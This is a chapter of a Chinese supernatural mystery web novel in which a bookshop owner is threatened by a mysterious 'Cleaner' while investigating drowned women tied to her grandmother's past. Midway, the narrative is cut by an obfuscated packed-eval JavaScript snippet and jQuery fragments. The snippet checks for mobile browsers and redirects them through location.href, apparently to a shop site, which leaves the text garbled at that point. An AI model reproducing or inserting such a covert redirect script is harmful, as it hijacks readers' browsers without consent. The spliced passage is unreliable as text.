那张黄色符纸像块丑陋的补丁，死死贴在书店的玻璃窗上。


    暗红色的字迹“多管闲事”、“警告一次”和落款“——清理者”，在路灯下幽幽反光，看得我脊背发凉。


    （OS：清理者？这年头□□都这么有文化了吗？还带预告的？）


    我捏着手机，指尖悬在楚遥的号码上，犹豫了三秒，还是没拨出去。


    大半夜的，为一张破纸吵醒她，估计得挨骂。而且……万一这玩意儿真是“那边”的，楚遥来了也没用，可能还把她拖下水。


    我定了定神，强迫自己冷静。（OS：宋溪月，你是问阴婆的继承人（自封的），不是被一张纸吓哭的菜鸟。）


    先……把它弄下来看看。


    ---


    （一）


    我戴上一次性手套（感谢楚遥以前落在这儿的），拿了把裁纸刀，小心翼翼地把门开了一条缝。


    夜风灌进来，带着初秋的凉意。街道空荡荡的，只有路灯投下昏黄的光晕。


    符纸贴得很牢，边缘没有胶水痕迹，像是……自己吸在玻璃上的。我屏住呼吸，用刀尖轻轻挑起一角。


    “嗤……”


    一声极其轻微的、仿佛泄气的声音，符纸应声脱落，飘落在我掌心。


    入手的感觉很奇怪。纸是粗糙的黄表纸，但异常干燥，甚至有点脆。上面用暗红色“墨水”画的符文和那几行字，颜色已经稳定，不再渗出。凑近闻，有股极淡的、难以形容的腥气，不是血，更像……铁锈混合着潮湿泥土的味道。


    我赶紧缩回店里，关上门，反锁。把符纸放在柜台的白纸上，打开台灯仔细研究。


    符文扭曲复杂，中央的水波图案尤其显眼。我回忆姥姥手札里有没有类似的东西，但印象模糊。倒是那几行字……


    “多管闲事。”——是针对我接手苏怀薇的委托？


    “警告一次。”——意思是还有下次？下次会怎样？


    “——清理者”——自称。是个人，还是个组织？


    清理什么？清理像苏怀薇母亲那样的“麻烦”？还是清理像我这样试图追查“麻烦”的人？


    掌心的炙痕微微发热，但不算强烈，更像是一种持续的警示。


    我把符纸小心地夹进一本厚重的旧书里压平，打算明天找机会给楚遥看看，或者……拍下来发给她。


    这一折腾，睡意全无。我索性坐在柜台后，打开电脑，尝试搜索“清河县”、“1978”、“年轻女性死亡”等关键词。


    结果很少，而且都是些无关紧要的地方志片段或模糊的社会新闻。关于“清理者”，更是毫无痕迹。


    网络世界一片干净，仿佛那些沉在河底的往事，从未发生过。


    这本身就不正常。


    天快亮时，我才迷迷糊糊趴在柜台上睡着了。梦里又是那条河，雾气弥漫，但这次，岸边似乎站了许多模糊的黑影，静静地面朝着我。


    没有声音，没有动作，却让人窒息。


    我是被手机铃声吵醒的。


    楚遥打来的，背景音是车流和早点摊的嘈杂：“醒没醒？给你带了生煎和豆浆，开门。”


    我揉了揉僵硬的脖子，看了眼时间，早上七点半。窗外天色已亮，符纸带来的阴森感在日光下消退了不少。


    打开门，楚遥拎着早餐进来，顺手把一杯热豆浆塞我手里：“趁热。你脸色比昨天还像鬼。”


    “谢了。”我接过豆浆，暖意从手心传来，“正好有事跟你说。”


    我们坐在书店角落的小桌子旁。我一边吃生煎，一边把昨晚符纸的事说了，然后把夹着符纸的那本旧书拿过来。


    楚遥听完，眉头紧锁。她放下筷子，戴上手套，抽出符纸，在晨光下仔细查看。


    “纸质很老，颜料……”她凑近闻了闻，眼神微变，“有氧化铁和朱砂的成分，可能还混了别的有机质。这腥气……”她又仔细嗅了嗅，“有点像……陈年的血，但不是新鲜人血。”


    “血？”我头皮一麻。


    “可能处理过。字迹是写上去的，不是印刷。”楚遥翻来覆去地看，“没有指纹，没有粘贴痕迹。你确定它是自己‘贴’在玻璃上的？”


    “我确定。昨晚街上没人，我听到声音才发现的，贴得很牢。”


    楚遥沉默了几秒，把符纸放回书上：“这东西邪性。我带回局里技术科，让他们用专业设备看看，能不能分析出更多成分，或者……看看有没有我们肉眼看不见的‘信息’。”


    “能行吗？这不算证物吧？”我问。


    “不算。但我可以以‘疑似含有有害物质、威胁公共安全’为由申请检测，走快速通道。”楚遥看了我一眼，“前提是你同意。检测可能会破坏这玩意儿。”


    “尽管检。”我毫不犹豫，“我倒要看看是什么牛鬼蛇神。”


    楚遥小心地把符纸装进一个证物袋：“还有，你昨晚说的那个男人的脸，方脸，浓眉，嘴角有黑痣。我回去试着在旧档案库里比对一下，看能不能找到清河县当年有类似特征的人员记录。不过别抱太大希望，几十年前的照片质量很差，而且未必有电子存档。”


    “有线索总比没有好。”我顿了顿，“楚遥，你觉得……‘清理者’会是什么人？”


    楚遥收拾早餐盒的动作停了一下，表情严肃：“两种可能。一，是当年事件的参与者或其后代，害怕旧事重提，用装神弄鬼的方式恐吓知情人闭嘴。二……”


    她看着我，一字一句：“真的存在某种……我们目前无法理解的‘东西’或‘规则’，在维护着那段被掩盖的历史。‘清理者’是它的执行者。”


    “你信第二种？”我有点意外。


    “我不信，但我必须考虑所有可能性。”楚遥站起身，“尤其是，在你身上发生的这些‘异常’，用第一种解释有些地方说不通。比如那行水字，比如你看到的画面。除非你有连我都不知道的顶级催眠或致幻能力。”


    我苦笑：“我要有那本事，还开什么书店。”


    “所以，保持警惕。”楚遥拎起装着符纸的证物袋，“符纸的事，还有我们查档案的事，不要跟任何人说，包括苏怀薇。在搞清楚对方底细前，知道的人越少越安全。我今天会尽快安排检测，有结果告诉你。”


    楚遥离开后，书店又恢复了安静。但那种被窥视、被警告的感觉，并没有完全消失。


    （二）


    白天生意依旧惨淡，只来了两个闲逛的大学生，翻了半天书什么都没买。


    我趁机把姥姥的小房间又整理了一遍，把那些旧物件分门别类放好，特别是那支素银簪子、绣花鞋和褪色襁褓。每一样都透着沉重的故事感。


    下午，我接到一个意外的电话。


    是之前旧货市场那个卖鞋的干瘦老头。


    “喂，是昨天买鞋的姑娘吗？”他声音有点急。


    “是我，老师傅，有事吗？”


    “你走了之后，我越想越不对劲。”老头压低了声音，“那鞋……可能真有点问题。昨晚上我摊子上其他几件老绣品，莫名其妙都湿了，像是被水泡过，但我收摊时明明包得好好的！而且……我晚上做梦，好像听到女人哭，就在我放鞋的那个箱子附近！”


    我心头一紧：“您现在没事吧？”


    “我人没事，就是心里发毛。”老头犹豫了一下，“姑娘，你跟老实话，你买那鞋，是不是……不是为了研究？”


    我沉默了几秒，没有直接回答：“老师傅，那鞋可能牵扯到一些旧事。您要是觉得不安，最近几天换个地方摆摊，或者休息几天。如果……如果还有什么异常，您可以联系我。”


    老头叹了口气：“算了算了，我们这行，有时候是得碰点‘脏东西’，自己担着。我就是给你提个醒，那鞋邪门，你小心处理。”


    挂了电话，我心情更沉重了。连无关的摊主都受到了影响？是赵秀兰的怨念通过遗物外泄了，还是……“清理者”在警告所有接触过这件事的人？


    傍晚时分，楚遥发来加密消息：“符纸初步检测：纸质纤维鉴定为至少三十年前产物。颜料含朱砂、氧化铁、微量动物血液蛋白（高度降解）及某种未明有机化合物，光谱分析异常，暂无法匹配已知数据库。已送更高级别实验室进一步分析。另：已申请调阅清河县1978-1982年相关非正常死亡卷宗（纸质），需要时间。”


    连技术科都检测不出全部成分？


    那个“未明有机化合物”是什么？


    我回复：“收到，小心。”


    晚上，苏怀薇准时发来微信，询问今晚是否继续。我回复她需要准备，暂缓一晚，让她好好休息，保持联系。我需要时间消化这两天获得的信息，也担心连续的“问阴”会给她精神造成太大负担，更怕……引来“清理者”更直接的干预。


    深夜，我坐在书店里，看着窗外城市的灯火。


    突然，手机震动，收到一封陌生邮箱发来的邮件。标题是：“好奇的代价”。


    点开，里面只有一张图片。


    是一张黑白老照片的翻拍。


    照片里是一条河，河边站着一排人，有男有女，表情模糊。照片中间，一个年轻女孩低着头，被人架着胳膊。照片一角，有个背对镜头、正在匆匆离开的女人背影。


    那背影，那件衣服的样式……我瞳孔骤缩！


    是年轻时的姥姥，文秀娥！


    照片下面，有一行手写字：“第一个见证者。你想当下一个吗？”


    发件人邮箱是一串乱码。


    “清理者”。


    他们果然在看着我！连姥姥当年的存在都知道！


    他们不仅有符纸，还有照片！他们在用这种方式告诉我：我知道你的底细，我知道你姥姥做了什么，我知道一切。


    我盯着那张照片，浑身发冷。


    姥姥是“见证者”？她目睹了发生了什么？为什么选择离开？她后来记录那些名字，是出于愧疚，还是为了别的？


    “清理者”发来这张照片，是警告我不要步姥姥后尘，还是……暗示我知道的还不够多？


    我保存了照片，试图回复邮件，但显示发送失败。


    对方隐藏得很深。


    这一夜，我几乎没合眼。


    （三）


    第二天，我顶着更严重的黑眼圈开门营业。


    楚遥中午抽空过来一趟，带了外卖。我把昨晚收到邮件和照片的事告诉她。


    楚遥看着手机上的照片，脸色凝重：“照片能发我一份吗？我让技术科试试追踪邮件来源，虽然希望不大。还有，这张老照片本身也是线索，也许能通过服装、背景判断具体地点和时间。”


    她把照片转发给自己，然后看着我：“宋溪月，对方比我们想象的更了解内情，而且手段不限于装神弄鬼。他们能搞到这种老照片，说明可能早就关注这件事，甚至可能有当年参与者保存的资料。你现在很危险。”


    “我知道。”我揉了揉太阳穴，“但我能怎么办？把苏怀薇赶出去？把姥姥的东西都烧了？当一切没发生过？‘清理者’会因此放过我吗？”


    楚遥沉默。


    “既然躲不掉，那就只能往前走了。”我深吸一口气，“至少，要把真相弄清楚。为了苏怀薇她妈，也为了……我姥姥。”


    楚遥看了我很久，最终叹了口气：“倔死你算了。听着，从现在开始，你书店内外，我会安排信得过的同事偶尔‘路过’照看一下。你自己进出也注意安全，晚上尽量别单独外出。还有，任何陌生的东西、信息，立刻通知我。”


    “谢谢。”我心里一暖。


    “少肉麻。”楚遥摆摆手，“我只是不想哪天接到报案，来给你收尸。那现场报告得多难写。”


    （OS：……楚遥你的关心方式真特别。）


    楚遥走后，我努力平复心情，开始思考下一步。


    “清理者”的警告和展示肌肉，反而激起了我的逆反心理。他们越是想捂住，我越是想揭开。


    但目前线索繁杂：苏怀薇的梦和其母赵秀兰的惨死；姥姥的日记和“水”、“闭”等标记；神秘的符纸和“清理者”；还有那支可能关联另一位受害者的素银簪子……


    我需要一个突破口。


    也许，应该从“第一位”入手？按照“流水簿”的暗示，赵秀兰是第三位。那第一、第二位是谁？是否就是春枝和秋燕？她们的“钥匙”又是什么？是簪子？还是那块绣着“盼归”的手帕？


    我正对着姥姥的遗物出神，店门被推开了。


    不是顾客。


    是一个穿着朴素、面容愁苦、看起来四十多岁的中年女人。她眼神躲闪，在门口犹豫着，不敢进来。


    “您好，买书吗？”我主动招呼。


    女人摇摇头，又点点头，最终还是走进来，声音很小：“请问……您是宋溪月宋老师吗？”


    又来了。


    我心里咯噔一下，但面上保持平静：“我是。您有什么事？”


    “是……是社区服务中心的王姐介绍我来的。”女人搓着手，很紧张，“她说您……您也许能帮我看看家里的问题。我姓赵，赵安宁。”


    赵安宁？


    我示意她坐下：“赵女士，您家里什么问题？”


    赵安宁坐下后，双手紧紧绞在一起，声音更低了，还带着颤音：“我……我总听见，我家那间准备好了的婴儿房里……有婴儿在哭。可是我……我根本没有孩子啊！”


    婴儿的哭声？


    我瞬间看向小房间里那个褪色的襁褓。


    掌心的炙痕，明确地、有力地灼热了一下。


    “哭声？”我尽量让语气平缓，“是什么样的哭声？持续多久了？”


    “就是小婴儿那种，很细，很尖，有时候哭，有时候……像是哼唧。”赵安宁眼圈红了，“快一个月了。一开始很轻微，我以为听错了。后来越来越清楚，特别是晚上……我先生说我压力大，幻听。可我……我真的听到了！而且，最近那哭声……好像还夹杂着一点别的……像是一个女人，很远很远地在哼歌……呜……我受不了了，宋老师，求您帮帮我……”


    女人哼歌？


    第二位？秋燕？姥姥日记里提过秋燕爱唱歌！


    婴儿哭声（可能关联第一位或孩子）+ 女人哼歌（可能关联第二位秋燕）


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182824|196970||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……


    难道，赵安宁家的问题，同时牵扯到了两位受害者？


    而她的姓氏……赵。和赵秀兰同姓。是巧合吗？


    我看着眼前这个濒临崩溃的女人，又想起“清理者”的警告。


    接，还是不接？


    “赵女士，”我缓缓开口，“您和您的家人，祖籍是哪里？”


    赵安宁愣了一下：“我……我婆婆是清河县人。我先生老家也是那边的，不过他从小在城里长大。”


    又是清河县！


    我闭了闭眼。


    躲不掉了。


    “您的情况我了解了。”我看着她，“我可以试试帮您看看。但过程可能有些……特别。而且，收费不低，需要先付定金。”


    赵安宁像是抓住了救命稻草，连连点头：“多少钱都行！只要能让那哭声消失！”


    我和她约了明天晚上，让她先回去，尽量记录下哭声出现的具体时间和特点。


    送走赵安宁，我靠在门边，看着街上熙攘的人群。


    第二个客户，以意料之外又情理之中的方式出现了。


    而且，问题似乎更复杂，更凶险。


    “清理者”的警告言犹在耳。


    但，有些事，看到了，就不能当没看见。


    有些声音，听到了，就不能假装听不见。


    我转身回到柜台后，拿起那本姥姥的日记，再次翻到那些冰冷的名字和标记。


    春枝（水），秋燕（闭），梅芳（？），赵秀兰（水，第三位）……


    赵安宁家的婴儿哭声和女人哼歌，会对应哪两个？


    而“清理者”，此刻是不是正躲在某个角落，冷冷地看着我又接下新的“麻烦”？


    （四）


    当天晚上，楚遥发来消息：“邮件来源追踪到海外代理服务器，断了。照片技术分析：确为几十年前老照片，人物面部细节缺失严重，背景河流地貌与清河县部分河段特征相似。已存档。另外，你要的旧档案，有眉目了，但需要点时间。你那边如何？”


    我回复：“来了第二个客户，问题可能更复杂，涉及婴儿哭声和女人哼歌。约了明晚。‘清理者’暂无新动作。”


    楚遥很快回：“小心。需要我明晚在场吗？”


    我想了想：“暂时不用。我先初步探查一下。有需要我立刻叫你。”


    “保持通讯畅通。”


    结束通话，我检查了一遍书店的门窗，确保都锁好了。又把铜铃从盒子里拿出来，放在枕头边——虽然不知道有没有用，但图个心理安慰。


    躺在床上，却毫无睡意。


    “清理者”的黑白照片，赵安宁惊恐的脸，苏怀薇梦里的绣花鞋，姥姥日记里那些绝望的记录……像走马灯一样在脑子里转。


    还有掌心那道微微发热的炙痕。


    它似乎在我接触到这些“异常”时，变得愈发活跃。


    姥姥，您把这一切留给我，到底是想让我做什么？


    仅仅是“记录”吗？


    还是……“改变”？


    迷迷糊糊睡到半夜，突然被一阵急促的手机铃声吵醒。


    我摸过手机，是赵安宁。


    凌晨两点四十七分。


    我心里一沉，接通。


    “宋……宋老师……”赵安宁的声音在电话那头抖得不成样子，几乎语无伦次，背景音里隐约有尖锐的、断续的婴儿啼哭，“它……它又来了！哭声……就在我床头！我睁开眼睛……看到……看到天花板上……有湿漉漉的小手印！好多……好多……啊——！！！”


    电话里传来她极度惊恐的尖叫，然后是重物落地的闷响和一阵混乱的杂音。


    “赵女士！赵安宁！你没事吧？！”我对着电话大喊。


    几秒钟后，电话被捡起，传来一个男人愠怒又惊慌的声音：“喂？！你是谁？你对我老婆做了什么？！”


    应该是她先生。


    “我是宋溪月！赵女士的朋友！她刚才打电话给我，情况好像很不好！你们现在怎么样？需要帮忙吗？”我急忙说。


    男人喘着粗气，背景里婴儿哭声似乎停了，传来赵安宁压抑的啜泣声。“没事了……刚才她可能做噩梦，摔下床了……抱歉打扰了……”男人的声音带着怀疑和烦躁，显然不想多说。


    “真的没事吗？我听到她说……”


    “我说了没事！”男人打断我，语气很冲，“我们家的事我们自己会处理！请你别再打来了！”


    电话被狠狠挂断。


    我拿着手机，坐在黑暗里，心咚咚直跳。


    湿漉漉的小手印……天花板上……


    这已经不是“幻听”能解释的了！


    赵安宁的处境，可能比苏怀薇更危险！而且，她先生的态度……似乎并不相信，甚至有些排斥外力介入。


    我想立刻打给楚遥，但看看时间，又忍住了。深夜贸然报警或让楚遥过去，没有切实证据，反而可能让情况更糟。


    我给她发了条微信，简单说了情况，让她明天一早方便时联系我。


    然后，我再也睡不着了。


    打开灯，我看着枕边那枚安静的铜铃，又看看掌心淡淡的炙痕。


    力量……


    我需要更明确地掌握姥姥留下的“问阴”方法，不能总是被动地看到一些碎片。


    我需要……真正地做点什么，去“问”，去“看”，甚至去……“干预”。


    为了苏怀薇，为了赵安宁，也为了我自己。


    我起身，走进小房间，在姥姥的遗物前坐下。


    目光划过铜镜、簪子、手帕、襁褓……


    最终，定格在那本摊开的日记上，姥姥晚年写下的那句话：


    “月月，如果你看到这里，说明‘她们’找到你了。”


    “别怕。顺着‘线’往回走……”


    线，已经越来越清晰了。


    而“清理者”，就在线的另一端，虎视眈眈。


    天快亮的时候，我做出了一个决定。


    明天晚上，为赵安宁进行“问阴”时，我不再仅仅是被动探查。


    我要尝试，主动去“触碰”那个哭声和哼歌的源头。


    无论那是什么。


    无论“清理者”会有什么反应。


    第二天一早，楚遥的电话还没来，我却先接到了苏怀薇的语音消息。


    点开，是她带着哭腔、极度恐惧的声音：


    “宋老师……我……我家里昨晚也出事了！我……我放在客厅的那双您让我收好的旧绣花鞋……它……它自己挪到了我卧室门口！鞋尖对着我的床！我明明锁在柜子里的！”


    “还有……我凌晨好像听到……敲门声……很轻，但一直在敲……我不敢开……从猫眼看出去……外面没有人……但是……但是地上有湿脚印……一直延伸到楼梯间……”


    “宋老师……我害怕……它们……是不是不想放过我？！”


    我握着手机，站在清晨的书店里，浑身冰凉。


    “清理者”的警告还在耳边。


    而“她们”的呼唤和迫近的危险……


    已经，不容忽视了。